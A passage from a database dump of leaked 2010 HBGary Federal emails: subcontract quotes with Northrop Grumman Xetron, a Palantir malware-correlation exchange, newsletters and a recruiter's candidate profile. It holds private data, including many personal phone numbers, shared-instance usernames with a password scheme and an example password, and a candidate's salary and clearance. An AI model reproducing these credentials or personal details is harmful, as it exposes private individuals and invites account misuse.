bit.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',5841,'aaron_hbgary_com/5841.html'),(12187,'2010-09-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009017.M865784P14101Q7042.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: FW: Green Eggs Subcontract Quote','Please review and if you approve, forward to Brian and Scott (see below).\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Masterson, Brian M (XETRON) \r\nDate: Wed, Sep 22, 2010 at 1:50 PM\r\nSubject: FW: Green Eggs Subcontract Quote\r\nTo: Ted Vera , Aaron Barr \r\n\r\n\r\nTed,\r\n\r\nWe need the quote for a week of consulting here and the associated\r\ntravel per diem costs to be addressed to Scott Schloemer.  You can\r\njust send him an email with the cost and include the validity date for\r\nthe quote.\r\n\r\n\r\n\r\nBrian\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877\r\n\r\n\r\n\r\nFrom: Carrier, Jeremy M (XETRON)\r\nSent: Wednesday, September 22, 2010 3:47 PM\r\nTo: Schloemer, Scott A (XETRON)\r\nCc: Kehr, Cari L (XETRON); Masterson, Brian M (XETRON)\r\nSubject: RE: Green Eggs Subcontract Quote\r\n\r\n\r\n\r\nThanks Scott. We will have the quote addressed to you.\r\n\r\n\r\n\r\nFrom: Kehr, Cari L (XETRON)\r\nSent: Wednesday, September 22, 2010 3:47 PM\r\nTo: Schloemer, Scott A (XETRON)\r\nCc: Carrier, Jeremy M (XETRON)\r\nSubject: Re: Green Eggs Subcontract Quote\r\n\r\n\r\n\r\nThey are on site this week.\r\n\r\n\r\nFrom: Schloemer, Scott A (XETRON)\r\nSent: Wednesday, September 22, 2010 02:45 PM\r\nTo: Kehr, Cari L (XETRON)\r\nCc: Carrier, Jeremy M (XETRON)\r\nSubject: RE: Green Eggs Subcontract Quote\r\n\r\n\r\nWe just need them to provide in writing a quote to cover the request\r\nbelow. I would like to see it addressed to one of my buyers or myself\r\nso It can be kept in our files should we place an order.\r\n\r\nAs someone already approached HBGary or would you like one of the\r\nbuyers to contact them?\r\n\r\nScott\r\n\r\n\r\n\r\n\r\n\r\nFrom: Kehr, Cari L (XETRON)\r\nSent: Wednesday, September 22, 2010 3:43 PM\r\nTo: Schloemer, Scott A (XETRON)\r\nCc: Carrier, Jeremy M (XETRON)\r\nSubject: Fw: Green Eggs Subcontract Quote\r\n\r\n\r\n\r\nScott,\r\n\r\nPlease advise.\r\n\r\nCari\r\n\r\n\r\nFrom: Carrier, Jeremy M (XETRON)\r\nSent: Wednesday, September 22, 2010 01:01 PM\r\nTo: Kehr, Cari L (XETRON); Mylius, Harold J.\r\nCc: Masterson, Brian M (XETRON)\r\nSubject: Green Eggs Subcontract Quote\r\n\r\n\r\nCari/Harold,\r\n\r\n\r\n\r\nFor the Green Eggs proposal we are looking to utilized HBGary in a\r\nconsulting manner. We are asking them to quote one week of engineering\r\nconsulting and to include travel in the quote. We will then take that\r\namount and plan for as many as we can within $40K or so. What do we\r\nofficially need from HBGary in the form of a quote for the proposal?\r\n\r\n\r\n\r\nJeremy\r\n\r\n___________________________________\r\nJeremy M Carrier | Program Manager | Cyber Solutions | Northrop Grumman Xetron\r\nP: 513.881.3788 | M: 513.687.7833 | F: 513.881.3884 | E: Jeremy.Carrier@ngc.com\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',15007,'aaron_hbgary_com/15007.html'),(12188,'2010-09-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009018.M300450P14101Q7043.eml','\"Barr Aaron\" <aaron@hbgary.com>','Resume & Prop in WORD format','Attached...\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',6845,'aaron_hbgary_com/6845.html'),(12189,'2010-09-23','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297009018.M604959P14101Q7044.eml','aaron@hbgary.com','Critical Command & Control Offerings','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n\r\n   Global Command and Control System &ndash; Joint (GCCS-J) Special Edition;\r\n  Course #281-11-FXVA-1, October 18-22, 2010.&nbsp; Requires a Secret Clearance. &nbsp; &nbsp; \r\n  This session of GCCS course may be the last GCCS course held until at least October 2011.&nbsp;&nbsp; DISA is moving to Fr. Meade and reorganizing through the first half of 2011.&nbsp; This special course is tailored for GCCS professionals to provide you with a timely update of the GCCS program describing the MAJOR reorganizations that are occurring in the GCCS-J domain due to the shutdown and reassignment of OSD NII and JFCOM functions and reshaping of the Joint Staff.&nbsp; Every company and agency needs to attend so you can properly plan for the pending changes and impacts on your technical &amp; business models.\r\nGlobal Command and Control System &ndash; Joint (GCCS-J)\r\nCourse #281-11-FXVA-1unclas, October 18 - 19 and October 21-22, 2010&nbsp; Unclassified\r\nThis class will meet on Monday, Tuesday, Thursday and Friday. There will not be a class on Wednesday. This arrangement is intended for students who do not have a security clearance.&nbsp; If you have a SECRET clearance, we recommend you attend the version of the course which has a Wednesday field trip to DISA with classified demonstrations.\r\n  Net-Centric Warfare:&nbsp; Interpretation, Technologies, and Implementation; \r\n  Course # 261-11-FXVA-1, October 12-15, 2010\r\n   Network Centric Warfare is quickly becoming a fundamental consideration in acquiring and maintaining military and civil government communications networks. This course provides an in-depth view of net-centric and network-centric philosophies and operational implications.&nbsp; It will also address how networks are protected and attacked.&nbsp; The class presents the essential perspectives for government and civilian organizations with representation from the Army, Navy, Air Force, NATO, OSD, NSA and the commercial sector. &nbsp;The class attendees will receive a DoD wide view of the challenges associated with this modern form of warfare. \r\nOther Courses offered in October 2010:\r\n  802 Executive Leadership Series; October 5, October 12 and October 19.&nbsp; Three consecutive Tuesday evenings. \r\n  385  Internet and Multi-Level Security and Technology; October 18-20.\r\n  515 Electromagnetic Environmental Effects (E3) and Spectrum Supportability (SS) for Program Managers; October 19, 2010\r\n  601 Knowledge Management and Social Networking through Semantic Web; October 20-22\r\n  603  Data Mining Technologies and their Applications in Counter-terrorism; October 25-27\r\n  380 Privacy Protection and Computer Forensics; October 28-29.\r\n  382 (ISC)2 DoD CAP - Certification and Accreditation Professional; October 27-29. \r\n  \r\n    For discounted tuition:&nbsp; If you are not already an AFCEA member and want to take advantage of reduced tuitions for members and other benefits, please go to AFCEA International - The Armed Forces Communications and Electronics Association to become a member.\r\n    \r\n    \r\n    ____________________________________________________________________________\r\n  \r\n  For more PDC course information: \r\n  Print or download our Fall 2010 - Spring 2011 catalog in PDF format at Downloadable PDC Catalog.\r\n  The PDC is now on Facebook.&nbsp; You can visit AFCEA Educational Foundation Professional Development Center and add us to your list of \"likes.\"&nbsp;\r\n  Subscribe to RSS to get updated information about PDC courses automatically downloaded to your computer.\r\n  For full course descriptions, fees, instructor bios, and to register go to PDC Courses. \r\n        \r\n  Questions? Check FAQs, email the PDC Registrar at pdc@afcea.org or call PDC Registrars, Jill Malinchak or Gloria Kirkland at: 703-631-6137.\r\n\r\n  \r\n    This email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n      \r\n    AFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 http://www.afcea.org\r\n   \r\n  \r\n\r\n		\r\n  \r\n	\r\n	  &nbsp;\r\n  \r\n\r\n\r\n\r\n\r\n\r\n',2064,'aaron_hbgary_com/2064.html'),(12190,'2010-09-23','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297009018.M825814P14101Q7045.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Matthew Steckman\" <msteckman@palantir.com>','Attribution / GovCon planning meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Friday, September 24, 2010 11:00 AM-12:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 1660 International Drive\r\n&nbsp;\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nCan we meet at 11am Friday to discuss this demo and where to go in the analysis from here?\r\n&nbsp;\r\n\r\n\r\n\r\n',5897,'aaron_hbgary_com/5897.html'),(12191,'2010-09-23','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297009019.M484540P14101Q7046.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','RE: Malware presentation at Palantir GovCon','Ted --\r\n\r\nHaving imported the fingerprints, I\'m not even seeing clear correlations *within* the 11 files contained in this dataset. Different samples use different debugger counters, different data conversion fields, etc... while I\'m sure I could find matches on any subset of these fields in the dataset, I don\'t know enough about these fields to understand which are more or less meaningful. And the compile times aren\'t even cleanly clustered, except for a spike near the 2009-2010 boundary. Is there a subset of either these malware objects or fingerprints I should be looking at closely?\r\n\r\nThe shared instance is now up and running, as well. You\'ll need Java 6 installed on your machine to access it, but you can launch the workspace at: \r\nhttps://host25.paas.palantirtech.com:25280/\r\n\r\nYour usernames are aaron, ted, and mark, and passwords are your name plus \'s2010 (eg, ted\'s password is \"Ted\'s2010\"). The new APT samples are in an investigation named \"New APT Samples\" -- once you log in, choose \"open investigation\" under the \"Investigation\" menu and look for it there.\r\n\r\nI\'ve sent a calendar invite to Aaron B for Friday at 11am to talk through next steps for the analysis -- of course, all of you are welcome if you\'re in the area.\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Friday, September 17, 2010 6:56 PM\r\nTo: Aaron Zollman\r\nCc: Barr Aaron; mark@hbgary.com\r\nSubject: Malware presentation at Palantir GovCon\r\n\r\nHi Aaron,\r\n\r\nAttached are some known APT samples from an ongoing investigation.\r\nPlease add these to the samples Aaron B sent you.  If you find any correlations please send me screenshots as it will help with this investigation.\r\n\r\nHope you have a nice weekend!\r\nTed\r\n',6671,'aaron_hbgary_com/6671.html'),(12192,'2010-09-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009019.M716656P14101Q7047.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: EXTERNAL:Fwd: Resume','Begin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: September 22, 2010 8:11:38 PM MDTTo: &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt;Subject: Re: EXTERNAL:Fwd: Resume\r\nI sent it to Aaron earlier along with the pricing. I&#39;ll ping him. I can resend when I get to my laptop. On Sep 22, 2010, at 7:25 PM, &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\nI need this in MS Word.\r\n\r\nBrian\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 22, 2010 2:44 PM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: EXTERNAL:Fwd: Resume\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: September 22, 2010 2:40:18 PM EDT\r\nTo: Barr Aaron &lt;aaron@hbgary.com&gt;\r\nCc: mark@hbgary.com\r\nSubject: Resume\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAttached, let us know if you need any revisions...\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;Mark Trynor Resume.pdf&gt;\r\n\r\n',1311,'aaron_hbgary_com/1311.html'),(12193,'2010-09-23','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297009020.M402215P14101Q7049.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Indie game pulls in $250,000 a day!','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nProvides evidence that licenses to gaming software can be sold\r\nto other gaming companies.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Wednesday, September 22, 2010 8:17 PM\r\nTo: Penny C. Hoglund; Aaron Barr; bob@hbgary.com\r\nSubject: Fwd: Indie game pulls in $250,000 a day!\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n---------- Forwarded message\r\n----------\r\nFrom: Alex Torres &lt;alex@hbgary.com&gt;\r\nDate: Wed, Sep 22, 2010 at 4:53 PM\r\nSubject: Indie game pulls in $250,000 a day!\r\nTo: Greg Hoglund &lt;greg@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nGreg,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI don\'t know if you\'ve heard of Minecraft but check this\r\nout:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nhttp://texyt.com/minecraft+persson+notch+indie+game+success+00127\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAlex\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3486,'aaron_hbgary_com/3486.html'),(12194,'2010-09-23','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297009020.M634361P14101Q7050.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 9/22/2010','\r\n\r\n  \r\n\r\n  \r\n    \r\n      LinkedIn Network Updates\r\n      Sep 15 - Sep 22\r\n    \r\n    \r\n      FEATURED UPDATES\r\n      See more updates &#187;\r\n    \r\n    \r\n      \r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                   Christopher Courchesne has an updated profile (Experience)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                    Michael G. Spohn has an updated current title: Incident Response / Digital Forensic Consultant at Security Consultant\r\n                  Send note &#187;\r\n            \r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Kevin G. Coleman has an updated profile (Headline)\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Victor Tsao - &#x66f9;&#x529b;&#x5143;\r\n    is now connected to\r\n        Denice Maldonado\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Joseph Johnson\r\n    is now connected to\r\n        Stuart Nokes\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Michael Schell\r\nis now connected to\r\n            Steve Kinnan\r\n,             Bo Mendenhall\r\n             and \r\n            Smeeta Vora\r\n             \r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    POSTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Rodrigo Antao\r\nNovo site Techbiz Forense Digital, visitem! www. forensedigital.com.br      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Chris Rouland\r\nTaking a day off building software to build a house... http://tinyurl.com/2uloqrs      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Christopher Courchesne\r\nis still checking things out.      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n    \r\n  \r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Nancy Cimino has joined\r\n    DC METRO JOB NETWORK\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Shane Shook has joined\r\n    Golden Gate ARMA Chapter\r\n              \r\n            \r\n            \r\n              \r\n\r\n    John M. Farrell has joined\r\n    IBM co/ex  workers independent group\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    PHOTOS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n  Jose Sandoval has uploaded a new profile picture\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n      Dr. Paul Nemirovsky was recommended by\r\ncolleague      JanErik Boers\r\n        Worked with Paul on a number of projects over an extended number of years. He is extremely knowledge...\r\n        Read more\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Scott Sheldon recommends\r\ncolleague      Katie Roundy\r\n          Administrative Assistant for Business Development at SAIC\r\n        Katie is a joy to work with. She always has a cheerful disposition, but more importantly, I knew tha...\r\n        Read more\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Kessara Leake-Campbell recommends\r\ncolleague      Christine Neidley\r\n          Intelligence Analyst at Virtual Intelligence Agency (VIA) Consulting\r\n        Christine is one of the most detail-oriented researchers with whom I\'ve had the pleasure of working....\r\n        Read more\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    EVENTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Jason Mueller\r\n                  \r\n                     will be attending \r\n                  \r\n                    MANDIANT Incident Response Conference (MIRcon)\r\n                  \r\n                     on October 12, 2010 \r\n                  \r\n                    RSVP\r\n                   \r\n                          \r\n            \r\n    \r\n  \r\n\r\n    \r\n    APPLICATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Sid Fuchs\r\n                  \r\n                     is now using the new LinkedIn for iPhone application.  \r\n                  \r\n                    Get it now &#187;\r\n                   \r\n                          \r\n            \r\n            \r\n              \r\n\r\n                  \r\n                    Jason Mueller\r\n                  \r\n                     wants to read \r\n                  \r\n                    The 5 Love Languages: The Secret to Love That Lasts\r\n                   \r\n                          \r\n            \r\n    \r\n  \r\n\r\n      \r\n    \r\n    \r\n        \r\n        See more updates &#187;\r\n      \r\n    \r\n    \r\n      \r\n\r\n\r\n\r\n  \r\n    \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n      \r\n    \r\n  \r\n  \r\n',12399,'aaron_hbgary_com/12399.html'),(12195,'2010-09-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009020.M877487P14101Q7051.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Re: Indie game pulls in $250,000 a day!','Wow. &nbsp;So popular it has saturated their existing hardware and bandwidth.Game graphics are not high tech so I am guessing the popularity comes from gameplay.AaronOn Sep 22, 2010, at 8:16 PM, Greg Hoglund wrote:\r\n---------- Forwarded message ----------From: Alex Torres &lt;alex@hbgary.com&gt;Date: Wed, Sep 22, 2010 at 4:53 PM\r\nSubject: Indie game pulls in $250,000 a day!To: Greg Hoglund &lt;greg@hbgary.com&gt;\r\nGreg,\r\n\r\nI don\'t know if you\'ve heard of Minecraft but check this out:\r\nhttp://texyt.com/minecraft+persson+notch+indie+game+success+00127 \r\n\r\nAlex\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',13590,'aaron_hbgary_com/13590.html'),(12196,'2010-09-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009020.M94338P14101Q7048.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>,\"Brian Masterson\" <Brian.Masterson@ngc.com>','Fwd: Resume & Prop in WORD format','Brian,\r\n\r\nAttached is Pricing and resume.\r\n\r\nAaron\r\n\r\n\r\nBegin forwarded message:\r\n\r\n> From: Ted Vera \r\n> Date: September 22, 2010 9:07:06 PM EDT\r\n> To: Barr Aaron \r\n> Subject: Resume & Prop in WORD format\r\n> \r\n> Attached...\r\n> \r\n> -- \r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',7394,'aaron_hbgary_com/7394.html'),(12197,'2010-09-23','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297009021.M110601P14101Q7052.eml','aaron@hbgary.com','Bob Slapnik is out of office until Monday, September 27 Re: Indie game pulls in $250,000 a day!','I will be out of the office until Monday, September 27 on business\r\ntravel and will have limited access to email.  Penny Leavy-Hoglund is\r\ncovering for me.  She can be reached at penny@hbgary.com or\r\n408-316-8002.\r\n\r\n-- \r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\n301-652-8885 x104  |  Mobile 240-481-1419  |  bob@hbgary.com\r\n',6695,'aaron_hbgary_com/6695.html'),(12198,'2010-09-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009035.M74246P14101Q7053.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Podcast','Hey guys,\r\n\r\nJust finished the Securabit podcast.  They get about 8,000 downloads a month in itunes.  It will be available in iTunes on Monday.  I hit all the talking points between the two companies.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',1112,'aaron_hbgary_com/1112.html'),(12199,'2010-09-23','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009035.M851608P14101Q7054.eml','\"Aaron Barr\" <aaron@hbgary.com>','check this crafting out',' \r\nattached..\r\n \r\n',4023,'aaron_hbgary_com/4023.html'),(12200,'2010-09-23','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297009036.M47956P14101Q7055.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Frog revived from being completely frozen','Wow, I knew some other organisms can do this, but not a complex one, like a frog, way cool, gotta watch!\r\n\r\nCheck out this video on YouTube:\r\n\r\nhttp://www.youtube.com/watch?v=UuhEHNey37Q&feature=youtube_gdata_player\r\n',9956,'aaron_hbgary_com/9956.html'),(12201,'2010-09-23','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297009036.M486092P14101Q7056.eml','','Ruben Gavilan -->Pen Test/Vulnerability/Security Engineer','Ruben Gavilan &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Lives in VACurrent Salary$130,000Top Secret (TS/SCI) clearance w/ CI polygraph.&nbsp;Skills&nbsp;Summary•&nbsp;&nbsp;Driven Security Professional with 10&nbsp;years Information Security experience from both attack and defense&nbsp;perspectives.•&nbsp;&nbsp;Talented in the use of ArcSight, NCircle,&nbsp;NetWitness, Various IDS/IPS, Nessus, Nmap, WireShark, BindView, Core Impact,&nbsp;Eeye Retina, Foundstone Foundscan, Metasploit, Firewalk, Paros, Nikto, &nbsp; &nbsp; &nbsp;etc…•&nbsp;&nbsp;Unix/Linux&nbsp;operation, Windows Server and Workstation operations and administration•&nbsp;&nbsp;Firm understanding of Network Security&nbsp;Devices and Applications, Maintaining a secure network, and Verification of&nbsp;Security posture from both internal and external access points.•&nbsp;&nbsp;Design and Installation of wireless/wired&nbsp;networks, Installing Cable (CAT-5/6, fiber optic), Network device installation&nbsp;and configuration.•&nbsp;&nbsp;Proven ability to build out and staff a&nbsp;Security Operations Center.•&nbsp;&nbsp;Project Management Experience and&nbsp;trainingProfessional&nbsp;ExperienceSecurity Operations Center Subject Matter Expert&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;March 2010-CurrentBAE Systems Corporate Security•&nbsp;&nbsp;Apply Subject Matter Expertise to the&nbsp;developing Security Operations Center of BAE Systems.•&nbsp;&nbsp;Provide top tier analysis of developing&nbsp;threats, general exploitation to Advanced Persistent Threat mitigation and&nbsp;detection.•&nbsp;&nbsp;Manually inspect packet and session level&nbsp;data, extracting files from PCAP\'s for analysis both through manual methods and&nbsp;leveraging open source, Anubis, Wepawet, etc technologies.•&nbsp;&nbsp;Coordinated Special Security Agreement responses&nbsp;for BAE systems authority to operate and conduct business with the United&nbsp;States.•&nbsp;&nbsp;Lead security training and indoctrination&nbsp;to multiple groups of Interns, for possible placement in future BAE programs.•&nbsp;&nbsp;Developed new Use cases, and rules in ArcSight.•&nbsp;&nbsp;Generate rules and informer content in&nbsp;NetWitness&nbsp;&nbsp;•&nbsp;&nbsp;Analyze suspected executables, java&nbsp;scripts, SWF, PDF\'s etc.•&nbsp;&nbsp;Attend DIB/DCISE meetings to both relay&nbsp;current threat mitigation techniques and keep abreast of the current threat&nbsp;environment facing partners.•&nbsp;&nbsp;Evaluate products for possible inclusion&nbsp;in the BAE Security architecture, Netronome, FireEye, Blink, SureView, etc.•&nbsp;&nbsp;Manage Security Engineering ticket&nbsp;responsibilities for SLA adherence.&nbsp;&nbsp;Security Operations Center Manager&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;September 2007-Feb 2010Nortel Government Solutions, United States Senate•&nbsp;&nbsp;Lead daily operations and personnel (~32 total&nbsp;4 shifts 24x7x365-3 SOC’s) by providing expertise and guidance for the&nbsp;identification and resolution of all Cyber Security Threats and Attacks,&nbsp;&nbsp;against systems and&nbsp;networks owned or&nbsp;operated as part of the Sergeant At Arms, United States Senate mission.•&nbsp;&nbsp;Lead Investigation of Critical Security&nbsp;Events/Incidents. Provided Top Tier analysis during investigations to identify&nbsp;the vector of attack, scope of impact, and then provided recommendations for&nbsp;response, remediation&nbsp;and future prevention.•&nbsp;&nbsp;Responsible for Performance Appraisals&nbsp;for 28 staff members.•&nbsp;&nbsp;Reviewed resumes and interviewed&nbsp;applicants for all positions•&nbsp;&nbsp;Applied Subject Matter Expertise to&nbsp;research and investigate emerging threats both classified and unclassified.&nbsp;Proactively developed detection and remediation guidelines to insure the&nbsp;security posture of all networks.•&nbsp;&nbsp;Served as primary liaison between SOC&nbsp;personnel and Senate staff. Created various reports, metrics and plans to&nbsp;facilitate teambuilding and further understanding of the mission and responses,&nbsp;across government and&nbsp;contractor personnel&nbsp;•&nbsp;&nbsp;Provided Training to all members of&nbsp;contract to increase security awareness, understanding, and correct action.•&nbsp;&nbsp;Evaluated new and existing security&nbsp;technologies, products, and solutions for possible inclusion into Senate or NGS&nbsp;present or future activities.•&nbsp;&nbsp;Directed Monitoring of IDS/IPS, Vulnerability&nbsp;scanning, Firewall, AV systems, using ArcSight ESM.•&nbsp;&nbsp;Conducted Penetration testing against&nbsp;identified Critical systems.•&nbsp;&nbsp;Developed and Lead Senate Wide&nbsp;vulnerability scanning initiative utilizing NCircle.•&nbsp;&nbsp;Hacker Methodology SME for contract,&nbsp;directing and advising possible avenues of investigation and detection based on&nbsp;emerging open source and classified information&nbsp;Senior Security Consultant&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; 